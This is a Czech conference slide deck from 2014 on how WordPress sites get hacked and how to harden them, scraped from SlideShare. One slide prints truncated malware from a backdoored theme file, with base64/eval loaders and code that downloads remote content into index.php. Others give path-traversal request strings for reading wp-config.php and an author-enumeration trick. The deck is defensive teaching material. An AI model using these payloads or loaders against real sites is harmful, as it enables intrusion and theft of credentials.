SlideShare a Scribd company logo
Jak si (ne)nechat hacknout 
Wordpress stránky 
Vláďa Smitka 
vladimir.smitka@lynt.cz 
@smitka (ale skoro nic nepíšu) 
Lynt services s.r.o. 
http://lynt.cz 
22. 9. 2014 1
BEZPEČNOST VE WORDPRESS 
Slide z prezentace Michala Kubíčka – http://michalkubicek.cz 
http://lynt.cz
5 nejlepších rad 
Aktualizujte 
Zálohujte 
Používejte bezpečnostní plugin 
Buďte opatrní 
* Smažte co nepotřebujete a nedávejte světu moc informací. 
http://lynt.cz 
22. 9. 2014 3
Bezpečnostní problém? 
Můžeme si za to sami!!! 
http://lynt.cz 
22. 9. 2014 4
Kdo, co, jak a proč 
Kdo se na nás pokouší zaútočit? 
Co nám udělá? 
Jak to udělá? 
Proč to ***** dělá? 
http://lynt.cz 
22. 9. 2014 5
Kdo, co, jak a proč 
Kde se berou? 
např. infikované počítače (zombie v botnetu), jiné infikované weby… 
http://lynt.cz 
Roboti 
Zkusí pár zranitelností, pár hesel, 
když se to nepovede, tak jdou pryč. 
Cíle vybírají náhodně. 
22. 9. 2014 6
Kdo, co, jak a proč 
Najdou si zranitelné oběti, např. přes 
Google hacking (Google Dork). Zkouší všechno co umí. 
Když se to nepovede, tak jdou většinou dál. 
Je jim vcelku jedno kdo je cíl. 
http://lynt.cz 
Anonymní hackeři 
22. 9. 2014 7
Kdo, co, jak a proč 
Chtějí váš konkrétní web. Zjišťují mnoho informací. 
Zkouší všechno, co umí. Když se to nepovede, tak 
se vrátí jakmile se objeví další zranitelnost, nebo 
hledají jiné cesty – phishing, malware… 
Kde se berou? 
Může to být konkurence – i nepřímá. 
Hodí jim odkaz z vašeho webu, nebo info o návštěvnících 
http://lynt.cz 
Cílení hackeři 
22. 9. 2014 8
Kdo, co, jak a proč 
Photo by Lisa, CC BY-SA 2.0 
Bez technických znalostí, využijí dostupný exploit (program), často je samotné nakazí  
http://lynt.cz 
Děti 
script kiddies 
22. 9. 2014 9
Kdo, co, jak a proč 
Cizí kód 
Vloží spamové odkazy, reklamu, přesměrování 
Nechají návštěvníky stahovat malware 
Použijí web na DDOS a jiné útoky 
Krádež informací 
Získají osobní informace uživatelů webu 
Omezení provozu 
Odstaví web/server (DOS) 
http://lynt.cz 
22. 9. 2014 10
Kdo, co, jak a proč 
Bezpečnostní chyba v pluginech a šablonách 
Bezpečnostní chyba v jádru WP 
Brutal force útok na Admin 
Spam z komentářů (+pingbacky) 
Odchytnutí hesla a cookie 
Z jiných webů na hostingu 
Útok oklikou – phishing, malware (keylogger, uložené heslo FTP) 
http://lynt.cz 
22. 9. 2014 11
Kdo, co, jak a proč 
Photo by 401(K) 2012, CC BY-SA 2.0 
Přímé peníze z reklamy. 
Získání zpětných odkazů. 
Infikování počítačů – tvorba botnetu – pronájem/těžení bitcoinů. 
Odstavení/získání důvěrných info konkurence. 
Ukázání technických dovedností a jejich následný pronájem. 
http://lynt.cz 
22. 9. 2014 12
Pluginy a šablony 
Můžou prakticky všechno – vyžadují zvýšenou pozornost, pravidelné aktualizace a mazání 
nepotřebných – soubory neaktivního pluginu stále mohou obsahovat zranitelnosti. 
Mohou obsahovat vědomé a nevědomé bezpečnostní problémy. 
Vědomé 
Můžete stáhnout šablonu/plugin z nějakého 
nedůvěryhodného zdroje a ten může obsahovat 
překvapení. 
Torrent, Uložto atd. nejsou důvěryhodné zdroje  
Nevědomé 
Prostě chyba, snaha přinést uživateli pěknou funkci s malým úsilím. 
Nejčastěji se šikovným dotazem podaří stáhnout zajímavý soubor (wp-config…), nebo naopak 
nahrát svůj zajímavý soubor. Mohou být špatně ošetřené uživatelské vstupy a povede se vykonat 
nějaký kód (PHP nebo JavaScript). 
http://lynt.cz 
To, že za plugin platím, neznamená, že je 
důvěryhodný. 
22. 9. 2014 13 
Photo by Wikipedia
Překvapení 
<?php eval(base64_decode(ZXZhbChiYXNlNjRfZGVjb…));?> 
<?php 
$code_txt = 'http://javaterm.com/r9.txt'; 
… 
if(is_dir($path.'/wp-content')…){ 
$code= file_get_contents($code_txt); 
$index_path = $path.'/index.php'; 
if(file_put_contents($index_path, $code)){…} 
eval(gzinflate(base64_decode(…))) 
preg_replace("/.+/e","x65x76x61x6Cx28x67...) 
ob_start(…); 
… 
if (!preg_match('%(http|curl|google|yahoo|yandex|ya|bing|bot|crawl|lynx|SiteUptime 
|Spider|ia_archiver|AOL|slurp|msn)%i', $agent, $ret))… 
http://lynt.cz 
404.php 
22. 9. 2014 14
Chyby 
Download ShortCode - LFI (CVE-2014-5465) 
/wp-content/force-download.php?file=../wp-config.php 
$file = $_GET['file']; 
if(isset($file)) { 
http://llyndamoreboots.com/wp/wp-content/force-download.php?file=../wp-config.php 
Revolution slider - LFI 
LFI: /wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php 
MailPoet – File Dropper 
Ověření uploadu pomocí hooku add_action( 'admin_init', ‚…' ) – pouští se při spuštění stránky v 
administraci – např. admin-post.php – uploader „šablony“ emailu v zip 
OptimizePress Theme – File Dropper 
/wp-content/themes/OptimizePress/lib/admin/media-upload.php – vlastní uploader bez 
dostatečného zabezpečení 
http://lynt.cz 
include("pages/$file"); } 
else { 
include("index.php"); } 
22. 9. 2014 15
Chyby v jádře 
Již je toho hodně vyladěno, ale určitě mnoho zbývá  
Kritické se neobjevují tak často, většinou se jedná o unik informací nebo DOS. Po 
odhalení je oprava často rychle dostupná a díku auto-update i nasazená. 
Chyba v XML-RPC (týkala se i Drupalu) – speciální XML soubor dokázal vygenerovat 
několika GB požadavek – došlo k vyčerpání prostředků. 
V základu není limitován počet chybných přihlášení (lze řešit pluginem) 
Lze jednoduše získat uživatelské jméno: 
http://www.justit.cz/wordpress/?author=2 => 
http://www.justit.cz/wordpress/author/ddoc/ 
RewriteRule ^author/(.*)$ http://jdi-nekam.com/ [R,L] 
http://lynt.cz 
Chyby, které jsou vlastnostmi: 
22. 9. 2014 16
Spam 
Nejjednodušší cesta – přidat komentář, když je to možné. 
Když to není možné, přesvědčit se, zda to opravdu není možné: 
/?p=1 => možná admin nesmazal první Hello World příspěvek, který má povoleny 
komentáře (globální vypnutí komentářů se vztahuje pouze na nové příspěvky) 
Můžeme uzavřít komentáře po X dnech stáří článku. 
function lynt_disable_comments_on_pages( $file ) { 
return is_page() ? __FILE__ : $file; 
} 
add_filter( 'comments_template', 'lynt_disable_comments_on_pages'); 
http://lynt.cz 
Vypnutí komentářů na stránkách: 
22. 9. 2014 17
Spam – ale já komentáře chci 
Použití antispamového filtru: 
Akismet 
• předinstalovaný v základu, chce drobný poplatek 
• používá kontextové filtrování a reputaci IP adresy 
• někdy může dojít k zablokování regulérního příspěvku 
HoneyPot 
• nastraží políčko, které vyplní jen robot, 
• komentář rovnou odstraní 
• pokud se jedná o cílenější spamování, můžou spamy projít 
• Pluginy: NoSpamNX, Honeypot Comments 
Tyto řešení se nevztahují na pingbacky, pokud je nechci, tak je dobré je 
vypnout. 
http://lynt.cz 
Captcha 
• nemám ji rád  
22. 9. 2014 18
Bezpečnostní problém? 
Můžeme si za to sami!!! 
http://lynt.cz 
22. 9. 2014 19
Člověk je nejslabší článek 
Dáváme slabá hesla a používáme uživatelské jméno admin. 
Hesla si nešifrovaně ukládáme a používáme je na více webech. 
Doporučuji: nainstalovat WP klidně s uživatelem admin, nainstalovat si vše 
potřebné, založit nového uživatele s právy admina, a starého smazat. Používat 
správce hesel např. KeePass a využívat jeho generátor hesel. 
Přihlašovací heslo není složité odchytnout. 
Není vhodné se přihlašovat z neznámých sítí (wifi i kabelových), pokud nemám 
SSL v administraci. 
Proč vlastně nezapnout SSL pro celý web? 
http://lynt.cz 
define('FORCE_SSL_ADMIN', true); 
define('FORCE_SSL_LOGIN', true); 
22. 9. 2014 20
Člověk je nejslabší článek 
http://lynt.cz 
22. 9. 2014 21
Člověk je nejslabší článek 
http://lynt.cz 
22. 9. 2014 22
Člověk je nejslabší článek 
S tímto cookie se 
mohu přihlásit i 
bez znalosti hesla 
cookie wordpress_logged_in_...se posílá stále, nejen při přístupu do adminu 
http://lynt.cz 
22. 9. 2014 23
Člověk je nejslabší článek 
Předmět: Bezpečnostní problém WEDOS Hosting [8614001612] 
Datum: Wed, 20 Sep 2014 14:32:48 +0200 
Od: WEDOS <hosting@wedos.com> 
Komu: <ty> 
Na Vaší webové prezentaci tvujweb.cz založené na redakčním systému Wordpress byla 
zjištěna závažná bezpečnostní chyba v pluginu Skvělej Plugin, které umožňuje útočníkovi 
získat plnou kontrolu nad Vaším webem a následně útočit na další weby. 
Oficiální oprava zatím není k dispozici. Naši specialisté však mohou chybu opravit ručně. 
K tomu potřebujeme Vaše přihlašovací údaje do administrace Wordpress. 
Zašlete nám je prosím obratem, ať můžeme zabránit dalším útokům. V opačném případě 
budeme bohužel nuceni Vaši webovou prezentaci pozastavit. 
http://lynt.cz 
Vážený zákazníku, 
WEDOS Internet, a.s. 
22. 9. 2014 24
Člověk je nejslabší článek 
Předmět: Bezpečnostní problém WEDOS Hosting [8614001612] 
Datum: Wed, 20 Sep 2014 14:32:48 +0200 
Od: WEDOS <hosting@wedos.com> 
Komu: <ty> 
Na Vaší webové prezentaci tvujweb.cz založené na redakčním systému Wordpress byl 
zjištěna škodlivý kód, který masivně útočí na další weby a infikuje návštěvníky. 
Neprodleně nainstalujte náš antivirový plugin Wedos-WP-Antivir, který naleznete v 
příloze i s návodem k instalaci. V opačném případě budeme bohužel nuceni Vaši 
webovou prezentaci pozastavit. 
http://lynt.cz 
Vážený zákazníku, 
WEDOS Internet, a.s. 
22. 9. 2014 25
Člověk je nejslabší článek 
Jste si jistí, že se obezřetně chovají i ostatní uživatelé, kteří mají přístup k webu? 
I získání neadministrátorského účtu může mít velké důsledky – upload souborů, vkládání 
obsahu. 
Uživatelské role Administrator a Editor mohou standardně vkládat do komentářů 
JavaScript. 
http://lynt.cz 
Jste si jistí, že se chováte obezřetně? 
22. 9. 2014 26
Co mi mohou udělat okolní weby? 
Pokud není hosting správně nakonfigurován, může napadený web 
přistupovat k souborům i na ostatních webech. 
Nejčastější metody oddělení webů: 
Ze stejné IP adresy je rozesílán spam, stahován malware – dostane se na 
blacklisty 
http://lynt.cz 
Přímé ohrožení: 
• Vlastní uživatelé 
• Open_basedir 
• Různé typy chroot 
Nepřímé ohrožení: 
22. 9. 2014 27
Co s tím vším mám dělat? 
http://lynt.cz 
22. 9. 2014 28
Aktualizujte 
Problém č. 1 – jak se dozvědět o aktualizaci? 
• WP Updates Notifier – při dostupném updatu zašle email 
• Více webů lze udržovat hromadně pomocí InfiniteWP 
• Sledovat informace o aktuálních hrozbách (zdroje na konci prezentace) 
Problém č. 2 – nerozbije se to? 
Pravděpodobně někdy ano, ale lepší než bezpečnostní rizika 
Jádro s ve WP 3.8+ aktualizuje samo 
define( 'WP_AUTO_UPDATE_CORE', true ); - povolí i majoritní updaty 
Automatická aktualizace pluginů a šablon zapnout: 
add_filter( 'auto_update_plugin', '__return_true' ); 
add_filter( 'auto_update_theme', '__return_true' ); 
Pozor na vlastní úpravy. V případě šablon je vhodné si udělat odvozenou šablonu. 
S použitím menšího množství pluginů klesnou nároky na správu i bezpečnostní rizika. 
http://lynt.cz 
22. 9. 2014 29
Zálohujte 
Po případném napadení bude možné se vrátit k neinfikované verzi. 
Pozor, kam se záloha ukládá. 
Řešení hostingu/ruční záloha DB a souborů 
Zálohovací plugin: např. BackWPup, BackupBuddy 
Součást některých dalších pluginů a nástrojů (InfiniteWP) 
„Zálohování je alfou a omegou práce na počítači.“ 
http://lynt.cz 
Photo by Sean MacEnte, 
CC BY 2.0 
22. 9. 2014 30
Používejte bezpečnostní plugin 
Komplexnější řešení, které opraví některé 
zneužitelné díry, omezí brutal force útoky na 
administraci, najdou podezřelý kód. 
Vyberte si svého favorita: 
• Wordfence 
• iThemes Security 
• All in One WP security 
http://lynt.cz 
22. 9. 2014 31
Wordfence 
http://lynt.cz 
Realtime scanner 
• Pokouší se zjistit, zda je návštěvník bot nebo člověk a 
umí dle toho nastavovat politiky 
• Blokuje přístupy do administrace 
• Scanuje soubory na podezřelý kód 
• Umí cachování pro dorovnání výkonnostní ztráty 
• Notifikuje při změnách souborů 
• Prémiové funkce (39$/rok): přihlašování pomocí SMS, 
vzdálené scany, antispam v komentářích 
22. 9. 2014 32
iThemes Security 
http://lynt.cz 
Průvodce bezpečností 
• Blokuje přístupy do administrace 
• Blokuje IP adresy (má i distribuovaný seznam) 
• Zálohuje databázi 
• Hledá malware v souborech 
• Detekuje zvýšené množství 404 
• Monitoruje změny v souborech 
• Přesměruje přihlašování 
• Správně nastaví práva k souborům a složkám 
• Umí změnit prefix databáze 
• Další nástroje od vydavatele (Sync, BackupBuddy,…) 
22. 9. 2014 33
All in One WP Security 
Vše, co potřebujete na pár kliků 
• Podobné funkce jako iThemes Security 
• Někde podrobnější nastavení 
• + umožňuje „zakázat“ kopírování obsahu 
• + zákaz používání obrázků na jiných webech 
• + captcha do komentářů a login page (sem umí 
dát i honeypot) 
iThemes více radí, co máte udělat. 
http://lynt.cz 
22. 9. 2014 34
Co mohu udělat sám 
• Změnit prefix DB při instalaci 
• Zákaz PHP v /wp-content/uploads/ - .htaccess 
• Zakázání XML-RPC - .htaccess (příp. add_filter('xmlrpc_enabled', '__return_false');) 
• Přidat další ochranu k wp-login (http auth, 2 fázová autentifikace) - .htaccess 
• Hlídat referer (přihlašování, komentáře) - .htaccess 
• Zkontrolovat práva složek a souborů 
• Zamaskovat verzi WP a ServerSignature - .htaccess, wp-config.php 
• disable_functions (exec, passthru,shell_exec, system, proc_open, popen, eval – zde 
může něco přestat fungovat – jetpack, zip,…) – php.ini 
• allow_url_fopen, allow_url_include – php.ini/ .htaccess 
• Posunout wp-config.php o úroveň výše – otázka, jaký to má smysl (doporučení 
vzniklo chybou v systému Plesk, který deaktivoval PHP a zdrojové kódy tak byly 
přímo dostupné), lepší je dát wp-config do paralelní složky a includovat ho 
http://lynt.cz 
22. 9. 2014 35
.htaccess 
http://lynt.cz 
Globální .htaccess 
ServerSignature off 
#zakazani xml-rpc 
RedirectMatch 403 /(.*)/xmlrpc.php$ 
#kontrola refereru 
RewriteCond %{REQUEST_METHOD} POST 
RewriteCond %{REQUEST_URI} .(wp-comments-post|wp-login).php* 
RewriteCond %{HTTP_REFERER} !.*example.com.* [OR] 
RewriteCond %{HTTP_USER_AGENT} ^$ 
RewriteRule ^(.*)$ - [F,L] 
#zákaz přístupu k některým souborům 
<FilesMatch "license.txt|wp-config-sample.php|readme.html|.htaccess|wp-config.php"> 
Order allow,deny 
Deny from all 
</FilesMatch> 
.htaccess ve složce /wp-content/uploads/ 
php_flag engine off 
Jiná možnost: 
<FilesMatch .php$> 
Order allow,deny 
Deny from all 
</FilesMatch> 
Další tipy (MySQL injection…): https://secure.rivalhost.com/knowledgebase/1037/htaccess-against-MySQL-injections- 
and-other-hacks.html 
22. 9. 2014 36
Práva složek a souborů 
root directory 755 
wp-includes/ 755 
.htaccess 644 
wp-admin/index.php 644 
wp-admin/js/ 755 
wp-content/themes/ 755 
wp-content/plugins/ 755 
wp-admin/ 755 
wp-content/ 755 
wp-config.php 644 
http://lynt.cz 
z All in One WP Security 
22. 9. 2014 37
Problematika DOS a DDOS 
• Částečně lze řešit pomocí cachovacího pluginu 
(WP-SuperCache) – některé útoky postupně 
např. vyčerpají počet povolených php procesů 
• Analýza botů ve Wordfence 
• Další řešení je použít službu typu 
CloudFlare/Incapsula (WAF – web application 
firewall) 
• Masivní útok může ucpat linku = záleží pak na 
technologiích poskytovatele 
http://lynt.cz 
22. 9. 2014 38
Zdroje dalších informací 
• http://www.kyberbezpecnost.cz/ 
• http://packetstormsecurity.com/search/?q=wordpress – vhodné do 
http://lynt.cz 
RSS 
• http://blog.sucuri.net/ 
• https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=wordpress 
• http://codex.wordpress.org 
• https://github.com/b374k/b374k – nejčastěji uploadovaný nástroj 
útočníky 
• https://www.startssl.com – základní SSL certifikát zdarma 
• http://edu.lynt.cz/ – náš výukový portál, časem zde mohou být 
zajímavé informace 
22. 9. 2014 39
A to je vše, přátelé. 
aktualizujte, zálohujte, používejte bezpečnostní plugin, buďte opatrní 
http://lynt.cz 
22. 9. 2014 40

More Related Content

PPTX
WordCamp Praha 2016 - Bezpečnost WordPress
PPTX
Wordfence 2016
PPTX
Bezpečnost WordPress pro začátečníky
PPTX
Bezpečnost Wordpressu - 4. WP konference
ODP
Wordpress_DOD
PPTX
WordPress: Základy - bezpečnost 3x3
PPTX
WordPress - základy bezpečnosti
PPTX
Nejčastejší problémy WordPress webů
WordCamp Praha 2016 - Bezpečnost WordPress
Wordfence 2016
Bezpečnost WordPress pro začátečníky
Bezpečnost Wordpressu - 4. WP konference
Wordpress_DOD
WordPress: Základy - bezpečnost 3x3
WordPress - základy bezpečnosti
Nejčastejší problémy WordPress webů

What's hot (20)

PPTX
WP výkon a jeho profilování
PPTX
Výkon WordPress
PPTX
Instalace WordPress
PPTX
WordCamp Brno 2017 - rychlý a bezpečný web
PDF
Základní pluginy pro WordPress
PPTX
Bezpečnost WP, tipy pro každého - wordCamp Praha 2015
PPTX
Sysops tipy pro lepší WP
PPTX
Najčastejšie problémy WordPress webov
PDF
WordPress šablony a rychlost načítání (WordCamp Praha 2017)
PPTX
WordCamp Bratislava 2019 - Cache!
ODP
Jak zlepšit zabezpečení čtvrtiny celého webu
PPTX
Google Tag Manager a analytika ve WordPress
PPTX
Základní pluginy pro WordPress 25-6-2016
PPTX
Hesla a vícefaktorová autentizace ve WP
ODP
Co musíte udělat po instalaci WordPressu?, Vlastimil Ott
PDF
WordPress ve školském prostředí
ODP
XSS PHP CSP ETC OMG WTF BBQ
PDF
Website Security & WordPress (Peter Gramantik)
ODP
Bezpečnost e-shopů (HTTPS, XSS, CSP)
PDF
WordCamp Prague 2014 - Website security cz
WP výkon a jeho profilování
Výkon WordPress
Instalace WordPress
WordCamp Brno 2017 - rychlý a bezpečný web
Základní pluginy pro WordPress
Bezpečnost WP, tipy pro každého - wordCamp Praha 2015
Sysops tipy pro lepší WP
Najčastejšie problémy WordPress webov
WordPress šablony a rychlost načítání (WordCamp Praha 2017)
WordCamp Bratislava 2019 - Cache!
Jak zlepšit zabezpečení čtvrtiny celého webu
Google Tag Manager a analytika ve WordPress
Základní pluginy pro WordPress 25-6-2016
Hesla a vícefaktorová autentizace ve WP
Co musíte udělat po instalaci WordPressu?, Vlastimil Ott
WordPress ve školském prostředí
XSS PHP CSP ETC OMG WTF BBQ
Website Security & WordPress (Peter Gramantik)
Bezpečnost e-shopů (HTTPS, XSS, CSP)
WordCamp Prague 2014 - Website security cz

Viewers also liked (17)

PPT
Wordpress multisite
PPTX
Je WooCommerce vhodná pro eshop?
PPTX
5 otázek, když plánujete web
PPT
Email marketing na WordPress webu
PPTX
Kampaň Strany zelených - přednáška v Bloku expertů, Zlín, 7. 11. 2013
KEY
Magický seminář - 6.11.2012
PPTX
Jak zvýšit obrat eshopu? Case studies www.svetcukraru.cz
KEY
Affiliate marketing
PDF
Materiály ze školení Facebook PPC reklam pro pokročilé
KEY
Marketing elektronických obchodů na sociálních sítích v roce 2013.
PPTX
Nejlepší reklamní kampaně 2013 a 2014
PDF
Chcete vyšší konverze? Zkuste porušit pravidla | E-business forum 2014 | 25.9...
PDF
Ergonomie webů a eshopů v praxi, 15.1.2013 JsmeMarketing
PDF
Největší SEO chyby e-shopů
PPTX
Pomezí webové analytiky a "těch opravdových" dat
PDF
15 super tipů pro reklamy na Facebooku
PPTX
Jak navrhnout úspěšný web krok za krokem | VŠB - APPLE JUICE MEETING | 27.3.2014
Wordpress multisite
Je WooCommerce vhodná pro eshop?
5 otázek, když plánujete web
Email marketing na WordPress webu
Kampaň Strany zelených - přednáška v Bloku expertů, Zlín, 7. 11. 2013
Magický seminář - 6.11.2012
Jak zvýšit obrat eshopu? Case studies www.svetcukraru.cz
Affiliate marketing
Materiály ze školení Facebook PPC reklam pro pokročilé
Marketing elektronických obchodů na sociálních sítích v roce 2013.
Nejlepší reklamní kampaně 2013 a 2014
Chcete vyšší konverze? Zkuste porušit pravidla | E-business forum 2014 | 25.9...
Ergonomie webů a eshopů v praxi, 15.1.2013 JsmeMarketing
Největší SEO chyby e-shopů
Pomezí webové analytiky a "těch opravdových" dat
15 super tipů pro reklamy na Facebooku
Jak navrhnout úspěšný web krok za krokem | VŠB - APPLE JUICE MEETING | 27.3.2014

Similar to Jak si (ne)nechat hacknout Wordpress stránky (19)

PPTX
WP Weekend 2018
PPTX
Wordcamp Praha 2015 - další útržky z prezentace
PPT
Trendy v internetové bezpečnosti
PDF
10 tipů pro lepší zabezpečení WordPressu - 2. Wordpress konference Hluboká 2014
PPTX
Pavel Ondřej: WordPress z pohledu hostingového poskytovatele
ODP
Kolik webových útoků znáš...
PPTX
Prezentace - základy bezpečnosti
PPTX
Webmeetup #3
PPTX
Jak si (ne)nechat hacknout Wordpress stránky - How to have unhackable WordPre...
PPTX
Co ukázal globální scan přístupných .git repozitářů?
ODP
Víte, že nevíte, že já vím, že nevíte? (WebTop100 2014)
ODP
Noční můry webového vývojáře
ODP
Poučte se z cizích chyb
PPTX
Bezpečnost na webu
ODP
Medvědí služba
PPSX
Demo_prezentace_moodle.ppsx
PDF
Tomáš Poner a Vladislav Musílek, Nejlepší affiliate pluginy pro WordPress
ODP
Bezpečnostní útoky na webové aplikace
ODP
Bezpečnostní útoky na webové aplikace, Čtvrtkon 5
WP Weekend 2018
Wordcamp Praha 2015 - další útržky z prezentace
Trendy v internetové bezpečnosti
10 tipů pro lepší zabezpečení WordPressu - 2. Wordpress konference Hluboká 2014
Pavel Ondřej: WordPress z pohledu hostingového poskytovatele
Kolik webových útoků znáš...
Prezentace - základy bezpečnosti
Webmeetup #3
Jak si (ne)nechat hacknout Wordpress stránky - How to have unhackable WordPre...
Co ukázal globální scan přístupných .git repozitářů?
Víte, že nevíte, že já vím, že nevíte? (WebTop100 2014)
Noční můry webového vývojáře
Poučte se z cizích chyb
Bezpečnost na webu
Medvědí služba
Demo_prezentace_moodle.ppsx
Tomáš Poner a Vladislav Musílek, Nejlepší affiliate pluginy pro WordPress
Bezpečnostní útoky na webové aplikace
Bezpečnostní útoky na webové aplikace, Čtvrtkon 5

More from Vladimír Smitka (9)

PPTX
Drobné chyby, které vám mohou zlomit vaz
PPTX
Http/2 vs Image Sprites
PPTX
PPTX
WordPress Security: Defend yourself against digital invaders
PPTX
WordPress performance tuning
PPTX
WordPress security for everyone
PDF
České weby a Wordpress (Q4/2014)
PPTX
Dijskrův algoritmus
PPTX
Sítě pro malé a střední podniky 2014
Drobné chyby, které vám mohou zlomit vaz
Http/2 vs Image Sprites
WordPress Security: Defend yourself against digital invaders
WordPress performance tuning
WordPress security for everyone
České weby a Wordpress (Q4/2014)
Dijskrův algoritmus
Sítě pro malé a střední podniky 2014

Jak si (ne)nechat hacknout Wordpress stránky

  • 1. Jak si (ne)nechat hacknout Wordpress stránky Vláďa Smitka vladimir.smitka@lynt.cz @smitka (ale skoro nic nepíšu) Lynt services s.r.o. http://lynt.cz 22. 9. 2014 1
  • 2. BEZPEČNOST VE WORDPRESS Slide z prezentace Michala Kubíčka – http://michalkubicek.cz http://lynt.cz
  • 3. 5 nejlepších rad Aktualizujte Zálohujte Používejte bezpečnostní plugin Buďte opatrní * Smažte co nepotřebujete a nedávejte světu moc informací. http://lynt.cz 22. 9. 2014 3
  • 4. Bezpečnostní problém? Můžeme si za to sami!!! http://lynt.cz 22. 9. 2014 4
  • 5. Kdo, co, jak a proč Kdo se na nás pokouší zaútočit? Co nám udělá? Jak to udělá? Proč to ***** dělá? http://lynt.cz 22. 9. 2014 5
  • 6. Kdo, co, jak a proč Kde se berou? např. infikované počítače (zombie v botnetu), jiné infikované weby… http://lynt.cz Roboti Zkusí pár zranitelností, pár hesel, když se to nepovede, tak jdou pryč. Cíle vybírají náhodně. 22. 9. 2014 6
  • 7. Kdo, co, jak a proč Najdou si zranitelné oběti, např. přes Google hacking (Google Dork). Zkouší všechno co umí. Když se to nepovede, tak jdou většinou dál. Je jim vcelku jedno kdo je cíl. http://lynt.cz Anonymní hackeři 22. 9. 2014 7
  • 8. Kdo, co, jak a proč Chtějí váš konkrétní web. Zjišťují mnoho informací. Zkouší všechno, co umí. Když se to nepovede, tak se vrátí jakmile se objeví další zranitelnost, nebo hledají jiné cesty – phishing, malware… Kde se berou? Může to být konkurence – i nepřímá. Hodí jim odkaz z vašeho webu, nebo info o návštěvnících http://lynt.cz Cílení hackeři 22. 9. 2014 8
  • 9. Kdo, co, jak a proč Photo by Lisa, CC BY-SA 2.0 Bez technických znalostí, využijí dostupný exploit (program), často je samotné nakazí  http://lynt.cz Děti script kiddies 22. 9. 2014 9
  • 10. Kdo, co, jak a proč Cizí kód Vloží spamové odkazy, reklamu, přesměrování Nechají návštěvníky stahovat malware Použijí web na DDOS a jiné útoky Krádež informací Získají osobní informace uživatelů webu Omezení provozu Odstaví web/server (DOS) http://lynt.cz 22. 9. 2014 10
  • 11. Kdo, co, jak a proč Bezpečnostní chyba v pluginech a šablonách Bezpečnostní chyba v jádru WP Brutal force útok na Admin Spam z komentářů (+pingbacky) Odchytnutí hesla a cookie Z jiných webů na hostingu Útok oklikou – phishing, malware (keylogger, uložené heslo FTP) http://lynt.cz 22. 9. 2014 11
  • 12. Kdo, co, jak a proč Photo by 401(K) 2012, CC BY-SA 2.0 Přímé peníze z reklamy. Získání zpětných odkazů. Infikování počítačů – tvorba botnetu – pronájem/těžení bitcoinů. Odstavení/získání důvěrných info konkurence. Ukázání technických dovedností a jejich následný pronájem. http://lynt.cz 22. 9. 2014 12
  • 13. Pluginy a šablony Můžou prakticky všechno – vyžadují zvýšenou pozornost, pravidelné aktualizace a mazání nepotřebných – soubory neaktivního pluginu stále mohou obsahovat zranitelnosti. Mohou obsahovat vědomé a nevědomé bezpečnostní problémy. Vědomé Můžete stáhnout šablonu/plugin z nějakého nedůvěryhodného zdroje a ten může obsahovat překvapení. Torrent, Uložto atd. nejsou důvěryhodné zdroje  Nevědomé Prostě chyba, snaha přinést uživateli pěknou funkci s malým úsilím. Nejčastěji se šikovným dotazem podaří stáhnout zajímavý soubor (wp-config…), nebo naopak nahrát svůj zajímavý soubor. Mohou být špatně ošetřené uživatelské vstupy a povede se vykonat nějaký kód (PHP nebo JavaScript). http://lynt.cz To, že za plugin platím, neznamená, že je důvěryhodný. 22. 9. 2014 13 Photo by Wikipedia
  • 14. Překvapení <?php eval(base64_decode(ZXZhbChiYXNlNjRfZGVjb…));?> <?php $code_txt = 'http://javaterm.com/r9.txt'; … if(is_dir($path.'/wp-content')…){ $code= file_get_contents($code_txt); $index_path = $path.'/index.php'; if(file_put_contents($index_path, $code)){…} eval(gzinflate(base64_decode(…))) preg_replace("/.+/e","x65x76x61x6Cx28x67...) ob_start(…); … if (!preg_match('%(http|curl|google|yahoo|yandex|ya|bing|bot|crawl|lynx|SiteUptime |Spider|ia_archiver|AOL|slurp|msn)%i', $agent, $ret))… http://lynt.cz 404.php 22. 9. 2014 14
  • 15. Chyby Download ShortCode - LFI (CVE-2014-5465) /wp-content/force-download.php?file=../wp-config.php $file = $_GET['file']; if(isset($file)) { http://llyndamoreboots.com/wp/wp-content/force-download.php?file=../wp-config.php Revolution slider - LFI LFI: /wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php MailPoet – File Dropper Ověření uploadu pomocí hooku add_action( 'admin_init', ‚…' ) – pouští se při spuštění stránky v administraci – např. admin-post.php – uploader „šablony“ emailu v zip OptimizePress Theme – File Dropper /wp-content/themes/OptimizePress/lib/admin/media-upload.php – vlastní uploader bez dostatečného zabezpečení http://lynt.cz include("pages/$file"); } else { include("index.php"); } 22. 9. 2014 15
